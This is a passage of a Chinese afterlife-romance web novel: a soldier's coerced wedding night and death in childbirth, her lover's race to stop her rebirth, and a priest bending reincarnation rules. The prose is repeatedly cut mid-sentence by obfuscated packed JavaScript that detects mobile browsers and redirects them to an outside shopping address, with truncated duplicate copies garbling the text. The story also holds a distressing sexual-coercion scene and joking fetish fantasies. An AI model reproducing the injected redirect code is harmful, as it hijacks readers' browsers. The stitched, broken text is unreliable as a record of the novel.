他当然不会给她枪的,陆婉珍很遗憾,如果有枪的话,她就会把它拿起来,一枪崩了自己。 她已经没有枪了,也离开了军队,一直庇护着她的父亲,现在需要她的庇护。她不再是自己的主人,而是命运的奴隶。爹还在徐董事手上,祖父不会真的杀了他们父女,徐董事却掌握着爹的性命。 她不是小孩子了,她明白婚姻意味着什么,也知道这是她的选择,现在她必须支付代价。无论他心里作何想法,她都必须遵从。在几个仆妇的服侍下,她驯顺地洗脸,穿上了那套军装。 那军装裁剪别有不同,收腰紧身,领口开的极低,裤子也是开裆裤。 他看着她穿上的样子,兴奋地瞳孔缩紧,呼吸急促。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906090|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次,他不再用目光来鉴赏他的珍玩,而是用手、用舌头、在她脸上流连摩挲,不时发出满足的粗喘。 她不曾扭头或者闭眼,而是狠狠地怒视着他。 她本以为他会被她败坏兴致,拂袖而去,或是给她一个耳光,无论哪种都好,都能让她逃过这场羞辱,但他只是更加迷醉,更加兴奋。 他钳住她的下巴,用舌头舔舐着她的短发和军帽,近乎呻吟地说:“就是这样!够野、够劲,比一切女人都特别,我的女人多了去了,但我还没有睡过女兵!” 原来,他要她穿上军装是这个意思。 他得到的不是凡品,而是独一无二的女人,稀世的珍宝,中华的第一批女兵。 原来,他真的很“中意”她。 他非常欣赏她的理想、她的骄傲、她的强大,那是一种独有的情趣,正适合拿来装点这个新婚之夜。 而最能引发他兴趣的,是毁灭她的理想,撕碎她的骄傲,占有她的强大……他成了世界上最伟大的男人,因为他征服了一个女兵。 他把她拽过来,却没脱她的衣服,他的玩偶要一直保持最迷人的状态,脱掉那层皮,这个游戏就一点也不刺激了。 他冲了进来。 老实说,这没有被子弹打中那么痛,甚至都不如练拳时磕伤那么痛。陆婉珍却觉得有一把刺刀捅进了自己的身体,把她的心肝肠胃搅成一团粉碎,一阵铺天盖地的恶心向她袭来,但她没有动,也不吭声。 她强迫自己以军人的勇气来面对这种酷刑,这是她应当付出的代价。她像祭坛上预知了自己命运的羔羊,一动不动,任何反应都只是在取悦他,在这个夜晚,她唯一能保留的,是那颗绝不会被征服的心。 这场折磨很长,长过了她27年的人生,他每动作一次,她就感觉到自己的灵魂从身体里被挤出去了一点。当他终于喘着粗气结束时,她听见自己的灵魂伏在自己耳边说: “再见。” 十个月之后,她倒在产床上,晕眩和剧痛同步向她袭来,但她毫不在意,只觉得一阵快慰。 爹已经能够下床走路,从香港挣扎着返回来陪她生孩子。湿滑的血液,急躁的叫喊,难闻的血腥气,她仿佛又回到了战场,她是班长陆婉珍,有人用力地推搡着她,拧掐着她,在她耳边大喊:“太太!使劲啊!” 一天一夜后,产房响起婴儿的呱呱声,她生下一个瘦巴巴的女儿。 她在大出血,血洇湿了床铺,她的下身被产婆剪开一个口子,像是大张的嘴,不停向外呕吐那些罪恶的脓。爹颤颤巍巍地握着她的手:“好孩子,爹对不起你……” 她的嘴唇已经失去了血色,两眼空茫地眨一眨,见到是爹,这才一笑:“没事。” 她知道自己的大限将至,抓紧最后的时间,她向爹交代:“这么活着……不如死了,我开心……你也要开心。下葬时……徐家的东西……都不要。我只要……我从黄埔带回来的那些……” “我一直在找她。”石将军告诉张松鹤,“活着的时候,我找了她好多年,我先是到黄埔找,后来又回广东原籍找,可是她一家人都已经消失不见。有人说他们搬到外国去了,但没人知道他们家的具体地址。后来,有个道姑说她已经死了,我还是不肯全信,总是盼着她没有死,外国我去了好几次,但什么也没找到。我想着,如果找不到她,那就实现她的梦想吧,我努力建设中华,连她的份儿一起。” “北伐、长征、抗日、后来是解放,每一次获胜,我都在心里说,这是我们俩共同的光荣。我的勋章越来越多,肩膀上的军衔也越来越高。新中国成立后,我成了石将军,但世界上还有好多个石狗儿和被关起来的四小姐。我就想,享清福也没什么意思,她肯定也不喜欢,既然我有了一点办实事的能力,我就希望,大家都能痛痛快快的活着。所以,我去了最穷最苦的边疆,在那里,还有许多奴隶等着我去帮助……” “这一去,不知不觉,一辈子就过去了,国家强大了,人民幸福了,我老了,最终也死了。” “她生前待在国外,定然也死在海外。现在,我有无限的时间去找她,美国、日本、法国、英国,我一个个地找过去,问遍每一个游魂,访问所有的屋舍,生前不能做到的事情,我死后一定能做到。” 石将军终于讲完了他的故事,张松鹤已经听得入了神,他眨眨眼,询问道:“你一直叫她四小姐,那她的名字叫什么?” 石将军顿了一顿,回答道:“陆婉珍。” 68.碧落黄泉 石头上的光芒熄灭了,陆婉珍眨眨眼,这才发现自己满眼是泪。 当然,这眼泪不是为自己而流,而是为了爹和石志坚。爹在她死之后,给她烧了不少东西,房子、小摩托、军服、照片、还有堆成山的纸钱……他烧纸的时候告诉她,自己马上要移民离开了,她不知地址,死后他们父女仍未能相见。 至于石志坚,兴许他死的比她还早,况且二人并未正式成家,更是大海缥缈无处寻。能在离开之前再见到他们俩的音容笑貌,她的心事也就彻底了了。 她现在觉得自己真是超脱了,就好像被那似水的往事从头到脚细细擦洗了一遍,灵台上的一点浮灰都被抹的一干二净,祝平安明显也看出了她的不同,担心道:“里奥?你还好吗?” “我从来没这么好过。”里奥回道,对她扬起了一个真心的笑容,“平安,走吧,我们该去奈何桥了。” 六道轮回部门口,永远是人来人往,熙熙攘攘。猛然,天边一道剑光直冲下来,把门前两个来不及躲避的人吓了个屁股墩。 张松鹤停止御剑,拽着石将军跳下来,匆匆往地上扫了一眼,确认两人没有大碍,就撒腿往六道轮回部里面跑。 门前的两个安保人员想要上来拦他,他掏出自己的证件一晃:“公共安全部办案!闲杂人等速速退开,不得阻拦!” 有了证件开路,张松鹤二人得以畅通无阻地进了大门,他直冲办事员窗口:“陆婉珍来过没有?快说!有急事找她!” 办事员吓得打了个结巴,半天才反应过来,结结巴巴道:“来来来来过!已经走7号通道进去了!” “进去多久了?” “一个多小时了!” 该死的!张松鹤忍不住在心里暗骂石将军,说故事都说不到点上,四小姐来四小姐去,早把她的名字说出来多好!进去一个多小时了,不知道能不能赶得上! “张部长,你怎么在这里?”大厅的骚乱引起了其他工作人员的注意,很快,司铜就小跑了过来。张松鹤一把抓住他:“你这7号通道在哪?有没有近路可以抄?” “是有一个员工通道来着,您问这个干什么?这位老先生是?” “别问那么多,快带我去员工通道!” 忘川蜿蜒浊黄,血红的彼岸花在两边微微摇曳,据说彼岸花是一对无法相逢的恋人所化,连花与叶都是永不相见。温尔雅的指尖划过那些美丽的花朵,心下轻轻叹惋。 无望的爱情,是世界上最凄美的东西了吧? 是因为过于美丽才遭到毁灭的命运,还是因为终将毁灭而更加绚烂? 里奥跨过忘川水,一步一步走向奈何桥,遗忘不是从喝下孟婆汤开始的,离轮回井越近,她的情感就越少,如果还是拿电脑作比喻,孽镜照出的一生,就像是一次磁盘整理,整理完成后,格式化其实就已经启动了,喝下孟婆汤只是点击“确认删除”的按键。 里奥再看祝平安的时候,眼中的情感已经变得很平淡,甚至看到她时,都眼神一顿,好像要仔细辨别两秒,才能认出她是谁一样。 奈何桥头已经没有孟婆了,每天投胎的人都十几万,孟婆就是累死也熬不出来那么多汤,要还用老办法分发孟婆汤,那排队的人都能把奈何桥压塌。 现在的孟婆汤已经实现了工厂生产,跟啤酒一样是罐装的,每个游魂拿一罐,然后到六道轮回井的时候,由工作人员为他们打开罐子喝下。 祝平安好奇,也拿起一罐看能不能打开,盖子纹丝不动,祝平安发现这罐装孟婆汤的封口螺纹很特别,估计要用特定的开罐器才能打开,这也能防止有人偷盗孟婆汤。 里奥似乎真的已经把他们俩给忘了,祝平安在后面观察孟婆汤,她丝毫没有停下来等待的意思,而是自顾自地往前走。 望着里奥的背影,祝平安不由得想起了竹取公主辉夜姬的传说,公主本是天人下降,被人间父母养育长大,成年后便要回归天界。虽然对人间有万般眷恋,但当她一披上天之羽衣时,便不再有任何情感,立刻抛却了人间的一切,飞到天国去了。只留下人间的父母哀哀痛哭,却又无可奈何。 祝平安现在是知道被辉夜公主抛下的人间父母是什么感觉了,她的眼泪跟开了闸一样哗啦啦地流下来,温尔雅担心道:“要么,我们就送到这里吧,省得你伤心。” 祝平安摇了摇头:“就算里奥忘了我,她还是我的亲人。生老病死,人生八苦,我总要陪着她度过去。” “让一让!让一让!紧急事件!” 朝中有人好办事,司铜拿着个喇叭当先开路,员工通道内的人纷纷避让,给张松鹤两人让出一条宽敞的通道,让他得以拉着人一路疾驰。 司铜喘着粗气,给他指点道路:“这条通道连接着所有的大厅,祝平安他们是走7号通道,下一步到孽镜台,我已经用传真鼎问过孽镜台的工作人员,他们说里奥已经来过了,现在正往忘川去!” “孽镜台到忘川还有多远?” “一公里多点!加油快跑,还能赶得上!” 张松鹤扭头查看身边的石将军,一路狂奔到这里,他自己倒是还好,司铜明显已经有点跟不上了,呼呼喘着粗气。石将军已经是百岁老人,脚不沾地狂奔了至少3公里,他要是晕过去,那可就完蛋了。 谁知一看之下,老头子虽然也是气喘如牛,但却丝毫没有放慢速度。见张松鹤扭头过来,反而急道:“看我干嘛!快走呀!” 这简直是奇迹,这岁数的老人家了,哪怕之前再怎么力壮如牛,现在也应该衰老不堪,风一吹就能倒下。石将军却完全不管张松鹤怎么想,见张松鹤似乎还是慢了半拍,索性挣开他的手,自己大步往前跑。 他跑的比风更轻盈,比闪电更迅捷,世界纷纷后退,成了黑白的默片,他的一生所爱就在忘川的尽头召唤着他,让他忘记了自己是多么衰老。 昔日一别,天涯肠断,他们已经错过了一生,现在他不愿错过哪怕是一分一秒。 身无彩凤双飞翼啊,张松鹤恍然看见,石将军不是在奔跑,而是在飞翔。天长路远魂飞苦,他燃烧自己的生命疯狂振翅,冲上青冥长天,跨越渌水波澜,无论前方是六龙回日之高标,还是冲波逆折之回川,他都必将一一飞越…… 只为了奔向她。 莫名的,张松鹤的眼眶一热。 他自小便知,神仙无欲无求,五音令人聋,五色令人盲。食欲、贪欲、色欲、物欲……统统都是不好的东西,若要成仙,就不能有“欲”。 爱欲,也是欲。 因爱故生忧,因爱故生怖,爱只是声色犬马中的嬉闹,是穷极无聊时的消遣,是自欺欺人的幻觉…… 爱不过如此。 但今天,张松鹤看到的却不是这样。 他看见,爱在石将军身上留下的,不是忧虑与恐惧,而是“豁达”与“坚忍”。 爱是无穷无尽的勇气,爱是一生一世的坚守,爱是为她去创造一个美丽的新世界…… 爱,让一个百岁老人在飞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911085|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 六道轮回井已经近在眼前,送到这里,祝平安就不能再次前进了。里奥独自一人走上前去,将手中的孟婆汤罐子交给了工作人员。 汤罐打开,里面盛着一泓清水,不知是她出生时的羊水,还是死亡时,别人哭她的泪水? 这一辈子的是是非非、清清浊浊、恩恩怨怨、生生死死,其实最后只归于一瓮,捧在手心里,也就是一拳头那么多。 祝平安看着里奥把汤罐凑到嘴边,温尔雅紧紧握着她的手,给她一份支撑。 就在这时,一声大喝从门口传来:“等等!” 那声音好响,惊得祝平安打个哆嗦,里奥也放下了手里的汤罐,她看到两个男人从大门处飞奔而来,一个是老头子,一个是小年轻,两个人都依稀有些面熟。 啊,想起来了,小年轻是叫张松鹤,正是他给她送来了祝平安,让她度过了死亡后最开心的日子。 想到祝平安,一阵愉快的回忆涌上心头,但对里奥来说,那好像已经是别人的故事,她依然觉得温馨美好,但却再也无法勾动她的情肠。至于那老的,老的是谁呢? 他年纪总有一百岁了,齿摇背驼,鸡皮鹤发,他的鼻子生的挺拔,嘴唇的轮廓鲜明,想来年轻时也是一个英俊男子。他的五官似曾相识,却好像总是蒙着一层迷雾,他好像是一个非常重要的人,甚至比祝平安还重要,可他是谁呢? 他老了,老的上气不接下气,眼神似乎也没有那么好了。他眯着眼睛吃力地看过来,当他看见她的时候,他的瞳孔猛然睁大,里奥惊讶地发现,他长着一双圆眼睛。 小鹿一般的圆眼睛。 一瞬间,孟婆汤坠地,她听见耳边传来一声清晰的破裂声,无形的屏障被打破,回忆和情感像是汹涌的海浪一样,争先恐后地像她扑过来:巴黎街头的自行车、院落里深红的木棉、户部巷里炒豆丝的香气、轮渡悠长的汽笛声…… 他向她扑过来,她看见张松鹤帮他挡住那些围上来的工作人员,他以不符合他老迈年龄的矫健,一跃而过那半人高的道闸。 里奥看见,他在飞。 他飞过那个道闸,却讷讷地在她面前停下脚步,她依然年轻动人,和他站在一起,好像是祖爷爷和小孙女。最终,他停在离她一步之遥的地方,像年轻的石狗儿那样,羞羞怯怯地低下头去,偷眼看着她的脸色: “对不起,我来迟了。” 对不起,我没有接到你的信;对不起,让你受了那么多苦;对不起,你最艰难的时候,我不在你身边;对不起,我什么都没有为你做到;对不起,我总是那么笨拙,连找你都找不见…… 她这一生几乎从没哭过。 被祖父打板子时不哭,被关进院子时不哭,在战场中弹时不哭,父亲病危时不哭,即使是那个新婚之夜,她也没哭。 所以在听到这句话的时候,她也一样没哭。 她大步上前,一把将这个老人拥进怀里,笑的像他记忆中一样爽朗: “没关系,我等到了。” 没关系,收不到信不能怪你;没关系,其实我也只受了一点点苦;没关系,你已经给了我许多欢乐,还实现了我们共同的理想;没关系,一切都是我的选择,我的命运;没关系,你终究还是找到了我…… 在周围人惊愕的目光里,哭出来的反而是石将军,他呜咽着紧紧抱住了她,把积攒了一生的眼泪统统倾倒出来。 纵然一老一少,纵使一悲一喜,纵使整整等待了一百年,但,他们终于相会了。 69.插队不容易 有情人相会的结局虽好,但有情人要怎么终成眷属,那就成了一个大问题。 里奥的鬼民证已经注销,现在她在地府没有合法的身份证明,一天内就应该进入轮回井。可久别重逢的两人怎么也不愿意分开,祝平安也跟着发愁。 石将军表示自己也跟着里奥,今天就去投胎,却被告知,先不说石将军已经是地府的正编,重新投胎要经历一系列繁琐到爆的手续,且每天的出生名额都是固定的,他想插队也没条件。 “没关系,大不了我放弃投胎,不去那什么天人道,跟你在地府生活就好。”里奥倒是挺看得开。 “不成,那对你太不公平了。”石将军摇头,“投胎到天人道的人,万中无一,你能获得这个机会不容易,哪能轻易放弃呢?” 他摸摸自己的脸,悲哀道:“况且,我已经这么老,这么难看了,你还正当韶龄,后几十年就守着这样的我?那我自己都不愿意。” “石志坚,你说什么呢?”里奥眉毛倒竖起来,“你一点都不难看,以后不准说这样的话!” 石将军不为所动:“不管怎么说,让你放弃投胎是万万不行的,不知道有没有什么办法,能让我们一起投胎……” 事情到此,已经陷入僵局,难道让一对恋人暌违百年后才相聚一天,就此人鬼殊途吗?那也太惨了点,祝平安表示不想让这么悲惨的事情发生在里奥身上。 祝平安的愿望,就是温尔雅的愿望。 他先是劝慰大家,老站在轮回井前面也不是个事情,先找个地方坐下想办法,司铜会意,先将大家带到了自己的办公室,出门询问同事有什么办法去了。 温尔雅也寻了个借口出门去,六道轮回部长共有九层,他熟门熟路地走上了楼,一路越过部长办公室,来到了最顶层的小房间。 他从口袋里摸出一把钥匙,打开了门,听到响动,门里的靠背椅子一转,露出一张娇俏的脸。 温尔雅不禁愕然:“琉琉?你怎么在我的办公室里?” “您出差不在,但这里也不能缺了后土神殿的祭司坐镇啊。”琉琉见他来了,屁股恋恋不舍地在椅子上多坐了三秒,这才起身把椅子让给温尔雅。 温尔雅皱了皱眉,他没想到办公室里居然有其他祭司,这下事情可不好办了。 六道轮回井是后土大神司掌,故而六道轮回部实际说话算数的,也是后土神殿的人。部长只是个空衔,他不放在眼里,偶尔进行些违规操作,也不算什么,但最好还是不要让人知道,否则对景儿也是个把柄。 不过,既然来的是琉琉,那倒是还好。琉琉不得宠,实力也是平平,脾气不错,从没听说跟人吵架红脸,不管别人推给她多少工作,她都乐呵呵地干。这样的同僚,倒也没必要太防备。况且,里奥的事情不能再拖,今天他也顾不了那么多了。 “我有点事要办,你先下去吧。”温尔雅吩咐琉琉,“一刻钟之内,不要进来。” 琉琉却站着没动:“大人,近期我的职责是代替你在这间办公室上班,无事不能出去的,请大人不要为难我。” 温尔雅暗暗咬牙:“琉琉,这件事是绝密,暂时不能让外人知道。” 琉琉眉毛一挑:“绝密,难道是您的任务有眉目了?” 几千年来,六道轮回井虽然掌握在后土神殿手里,但记录了众生寿限的生死簿,却掌握在崔府君手中。六道轮回井送走了万千游魂,也不知道是中途哪个环节出了错,去投胎的游魂数目,总是跟生死簿对不上。 要说数目缺口也不大,每月只不过三两个人,说不准就是哪个差役疏忽记错了数字,这种误差都是可以理解的,但天长日久下来,这误差就累积到了一个惊人的数字。 足足有几万游魂,超脱了轮回井的管控,无声无息地在世上消失了。 这事情不对头。 六道轮回井是天地秩序的根本所在,生死界限,不可动摇,动摇这个界限就是在动摇世界的根基,后土大神即使再懒于俗事,也不能对此视而不见,她立刻就着手彻查,却愕然发现,根本查不动。 近一百年,地府游魂数量突飞猛进,为了照管他们,林林总总的行政部门如雨后春笋,拔地而起,新加入的差役们足有十余万之众,他们的职能互相交错,各种记录千头万绪,早已不再是后土大神熟悉的那个地府。 该怎么查?从何查起?游魂从死亡到投胎,不知道要被多少部门管理,过几百个人的手,而后土神殿一向地位超然,不涉及政务,真正握在自己手里的也就一个六道轮回部而已。 换句话说,后土大神已经不知不觉被架空了。 她依旧地位超然,但行政体系已经紧密成型,她反而从中被排斥了出去,只能做最末尾一环的工作,也就是把游魂们送入轮回。 至于游魂们是从哪里来的,等了多久才能投胎,要投胎去哪里,反而都由别人负责,她的六道轮回部拿到的只是一张张投胎表。投胎表上说的,是真的还是编的,六道轮回部都无从分辨。 这不是六道轮回的司掌者,根本就是瞎子聋子!不管别人给她什么,她都只能全盘接受,言听计从,人家要糊弄她,她也毫无办法! 事情不能再这么下去了。 后土大神决意,要查清楚这几万游魂的消失之谜,重新将地府的权柄握在自己手里。 为此,她要对抗的就是这个庞大的行政机构,这不是一朝一夕就能完成的事情,所以,她派出了自己最聪明也最能干的大祭司温尔雅。 “想要了解海洋,就要成为游鱼;想要了解森林,就要成为树木。想要击败谁,就必先成为谁。差役考试是个好机会,正适合你改换身份,加入其间。” “我的孩子,你要小心的隐藏自己的身份,像一棵树融入森林,一滴水隐入大海。你要做我的眼睛,认真的看,认真的学,像你了解树木的年轮一样,摸清他们的脉络。” “记住,要着眼小处,留心细节,事物存在必定有迹可循,你一向擅长从细处入手,我等着你的好消息。” 后土大神言犹在耳,温尔雅不禁有些尴尬,去琢玉学院培训时,他已经留意了各个部门的职能关系,在公共安全部上班后,更是与其他部门频频交流,但他不可能去扒其他部门的原始数据,故而游魂失踪案还是毫无头绪。 但他也不肯在琉琉面前露怯,只是冷笑一声:“绝密的意思,需要我再提醒你吗,琉琉祭司?” 他积威深重,琉琉不敢明着跟他顶嘴,只好退步:“那么我告退了。”说罢,她退出办公室,不忘关上门。 见她终于走了,温尔雅松一口气,立刻扑到桌子前面奋笔疾书。 他写了一封信,是给六道轮回部长的,上面写明了两件事:第一,陆婉珍今日不会去投胎了,让其他等待投胎的游魂火速前来候补。 第二,请他预留两个投胎至天人道的名额,要求一男一女,最好从小距离近,双方父母是密友,令投胎者从小就能玩在一起的最佳。 写罢信,他用桌上的传真鼎将信件发给了六道轮回部长,让他安排下去,自己则快步出了门,对琉琉轻轻一点头,便往回走去。 琉琉噙着笑意鞠躬送走他,走回办公室关上了门,她伸手一摸,传真鼎微微的热,她伸出手去,潜心感受传真鼎的核心。 是的,传真鼎的核心是一块“玉符”,那是一块巴掌大的昆仑玉,玉上刻的符咒能够让传真鼎实现即时通信功能,就如现代社会的微信一样,每个传真鼎都内置着一个官方账号,只要有权限的人都能登录, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他平日面对群众口灿莲花左右逢源,现在那些机灵劲不知怎么,全都跑光了,他从没感觉自己这么笨拙,想说些什么补救,又怕越说越错,最终还是讷讷闭上了嘴。 祝平安其实也竖着耳朵,想听听张松鹤会说什么,结果对方一张嘴就是指责她不该请假,一肚子火立刻压不住了:“有你这样的人没有?我们俩一块休假怎么了,里奥她……” 她本想说:我的亲人要跟我生离死别,我连假都不能请?温尔雅是她的好朋友,陪她来也是人之常情,有什么错? 但这里是六道轮回部,她不好跟张松鹤吵起来,还是把话咽了下去,只是皮笑肉不笑的冷嘲道:“张部长真会打如意算盘,去年给我一张推荐书,今年就能拿我当奴隶使唤了,还是买一送一呢。做什么事情都得看主子您的脸色……” 听了她这话,张松鹤心里也微微有些不舒服了,什么买一送一?是说招了一个她,又送来一个温尔雅么?温尔雅什么时候跟她绑定的这么紧密了?吃在一起、住在一处还不算完,现下请假也要一块儿? 就在这时候,门一响,温尔雅回来了,他一进门就笑盈盈地奔着祝平安去了,低声在她耳边说了些什么,祝平安听罢,眼睛一下就亮了起来,惊呼道:“真的?” 她转怒为喜,一张笑脸灿烂如春光,大力拍了两下温尔雅的肩膀。温尔雅把手指竖在嘴唇边嘘她:“小声些,也不一定能行,快别这样了。” 祝平安收了声,仍是喜不自禁地晃着温尔雅的手臂,此情此景,刺的张松鹤心里更别扭。 远处,里奥跟石将军哝哝细语,近处,温尔雅跟祝平安也好的跟一个人似的,就他一个孤零零的,像个十万流明的大灯泡。 他再待不下去,心说情情爱爱果然都不是什么好东西,直起身子,在怀中掏出张纸写了写什么,又盖了印,大踏步走上前,拉起祝平安的胳膊,把纸条往她手里一塞,气哼哼的摔门走了。 “搞什么鬼?”祝平安被他弄晕了头,还来不及细看他给自己的是什么,就听见门再一响,司铜兴冲冲地跑进来:“好消息!里奥,我们找到了候补游魂,您今天可以不去投胎啦!” 70.柏拉图与萨德 “运气真好!”司铜喜滋滋地送他们出门,“这种孟婆汤都领了,最后放弃投胎的事情很少见,我在那等了半天,都没人搭理我,本来以为没可能办成的呢!” “谁承想,最后还真通过了!是部长亲自盖的印呢,一定是石将军有面子,毕竟是地府正编嘛!”司铜还开始奉承起石将军了。 祝平安询问地看向温尔雅,温尔雅刚刚伏在她耳边,说自己已经拜托六道轮回部的熟人帮着一起想想办法,难道他的熟人是部长? 温尔雅眼睛都不眨的小声说谎了:“不是部长啦,是部长的秘书、秘书。这里的部长很懒,政务经常都是秘书用印审批的。” 原来是这样! 祝平安轻易就相信了,温尔雅也觉得好笑:她也是差吏了,印章从不离身,什么时候有人代盖章的?自己说什么她就信什么,真是好骗! 不过,这说明她全心的信赖着自己,不是吗? 温尔雅一想到这里,脸上就不由露出一个微笑。几人一路往大门口走去,司铜这才猛然想起什么:“哎呀!里奥的鬼民证已经注销了,这可怎么办才好啊?要去公共安全部重新补办,也需要一个月呢,这一个月,她的生活会很不方便的!” “不用担心。”祝平安一脸复杂地将一张纸条递给了里奥,“里奥,拿着,这是张松鹤刚刚给你开的临时身份证明。” 祝平安心里有点五味杂陈。 张松鹤这人,到底是怎么想的呢?一边申饬她不该请假,好像是不愿意让她“因私废公”;另一方面,又帮助里奥与石将军破镜重圆…… 甚至,他在气哼哼走人之前,还贴心地留下了这张临时身份证明。 祝平安轻轻动了动手心,刚刚被他碰到的地方,有点热。 用那张临时身份证明走出大门,里奥潇洒地跟祝平安作别了。 “你们回去吧,我就不回去了。”里奥揽着石将军的肩膀,看架势是要回石将军家里住了。祝平安忍不住询问:“您怎么不带石将军回咱们家住?” 里奥促狭地一笑:“咱家那么多人,多不方便呀?” 她意有所指,让祝平安始料不及,里奥看她那傻样,忍不住哈哈大笑起来:“怎么,我们都分开一百年了,抓紧最后的时间夕阳红都不许呀?再说了,房子我都过户给你了,再带人回去算怎么回事?” “即使产证的名字换了,那也依然是你的家呀!”祝平安嘟囔道:“也可以把财产都更名回去的……” “切!那不是麻烦死了!”里奥表示坚决反对:“再说了,这些东西早晚是你的,改来改去干嘛!” 她懒得再跟祝平安废话,揽着石将军就走:“回头你把我东西都收拾一下,送到……哎石志坚,你们家住哪里呀?” 折腾一番,祝平安拿到了石将军的新地址,看着两人远去的背影,心里不由得涌上来一种古怪的感情。她笑着跟温尔雅道:“原来这就是娘家人的感受吗!不知怎么,我有种嫁女儿的感觉。” “什么嫁女儿,看里奥这样子,她过去了也是当妻主的,石将军顶多是你们家的赘婿。”温尔雅见她开心,也跟着小吐槽了一句。 祝平安一边走,一边突然蹦出一句话:“他们不会……不会真的那个吧?”虽然她不反对石将军跟里奥啦,但是……两个人外观的年龄差异太大,总觉得哪里怪怪的。 “不会的。”温尔雅道,“有时候感情不需要通过那种方式来表达的。” 他的眼神缠绵如丝,拂过祝平安的脸:“有时候,只是在一边等着,看着,呵护着,心里就会很满足。好像喜欢一朵花,不一定非要采它的蜜,只要能遥遥的领略它的芳香,看着它快乐健康的绽放,就已经别无他求了。” “哦!看不出来你的恋爱观这么柏拉图啊!”祝平安倒是没想到温尔雅是这种类型,她嘴角一撇,露出一个色眯眯的微笑,“跟你一比,我好像就邪恶多了。我要是喜欢一个人,肯定不会放过感官的享受!一定会用尽手段来蹂躏他、玩弄他、让他羞耻的哭出来!” “轻轻的一个吻,已经打动我的心……” 邓丽君的歌声突然划过她的耳畔,她不由自主地想起那夜的舞蹈,那被支配着的舞步,那莫可名状又席卷一切的激情,那在她手下燃烧的,他的胸膛…… 呸呸呸!怎么又想起他来了!祝平安赶快甩甩头,想点别的,想点别的,比如电视明星、乙女游戏什么的……该死,明明之前想到这些都很激动的,现在怎么都燃不起热情了? 等下!凭什么不想啊?反正又没人能钻到她脑袋里看她在想什么,意淫的瘾头都不让过了? 死张松鹤、烂张松鹤,他不喜欢她,她还不稀罕他呢!既然他的□□有那么几分吸引力,那干脆就在幻想中狠狠践踏他的□□,说不定幻想多了,她见到本人……也就没什么大不了了! 于是祝平安开始在脑海里幻想狠狠地践踏张松鹤。 原来平安的口味这么重啊! 温尔雅也在心里偷偷幻想了一下,不知道平安喜欢什么玩法呢?皮鞭?羽毛?滴蜡?那个……他也不是不能接受!只要平安喜欢,玩什么他都没问题的! 想到平安也许有一天会把他捆在床上,把殷红如血的烛泪滴在他身体上,那烛泪会有一点烫,但又不会烫伤他的肌肤,微微的疼痛和热度只会让感官更加尖锐,直到让他眼圈湿润,羞耻的落下泪来…… 温尔雅的脸从头顶红到了后脚跟,都快冒出水蒸气了,不能想不能想了!可是……该死,这画面好像很有吸引力啊!他好期待啊! 于是温尔雅开始在脑海里幻想被祝平安狠狠地践踏。 两个人都诡异地脸红红,一路上都沉浸在幻想里,直到回了家喝了三杯凉茶,才稍微冷静下来。 “石将军投胎的话,要走多少手续啊?”祝平安感觉自己可能有点上火,捧着第四杯凉茶慢慢的喝,强迫自己想点别的东西转移注意力。 “唔,其实也不是很难吧。像他这种生前有贡献的人,在人间说不定都有香火了,其实编制就是一种荣誉称号而已,也不指望他们干什么职司。要是本人有特别强烈的投胎意愿,一般也没人拦着,最多小半年吧,投胎也不会让他们吃亏的,都能投到天人道。”温尔雅也捧着杯凉茶在一边啜饮,眼睛水汪汪的,感觉马上就要落下泪来。 祝平安得知这个消息倒是挺开心的,立刻站起身来:“那里奥跟石将军至少还能用现在的身份厮守小半年呢!走吧!我们去给里奥收拾行李!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920537|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一年多来,里奥的房间可是大变样了。 往日冷肃寂寥的风格一去不复返,现在她的房间满满地都是些小玩意儿:到处都是汽车和兵人的模型,从带着三角帽的红衣拿破仑亲卫,到扣着贝雷帽的迷彩美国大兵,再到虎式坦克应有尽有。墙上也挂起了迷彩网,上面有好些旧枪械,还有两个飞镖的靶子。 里奥甚至还在房间里摆了一个大沙盘!比她床还大的沙盘! 幸好这房间够大,要不然还真摆不下。祝平安也在这半年里逐渐发现,里奥其实最讨厌做家务了,她之前不把家具拿出来用,其实就是懒得抹灰! 祝平安来了之后,她就名正言顺当了甩手掌柜,家务都给祝平安干,但是她的房间祝平安平日从不进来,故而里奥房间……嗯,上次有人打扫卫生,说不准还是新年大扫除的时候。 而不常打扫卫生的房间,会滋生出什么东西,那可就不好说啦~ 温尔雅拿来一个大箱子,祝平安将里奥的衣服、模型一样样都装进去,拿走抽屉里的子弹壳模型时,祝平安看见抽屉缝里有根细长的头发,她也没在意,伸手就把那头发捻了起来,打算丢掉。 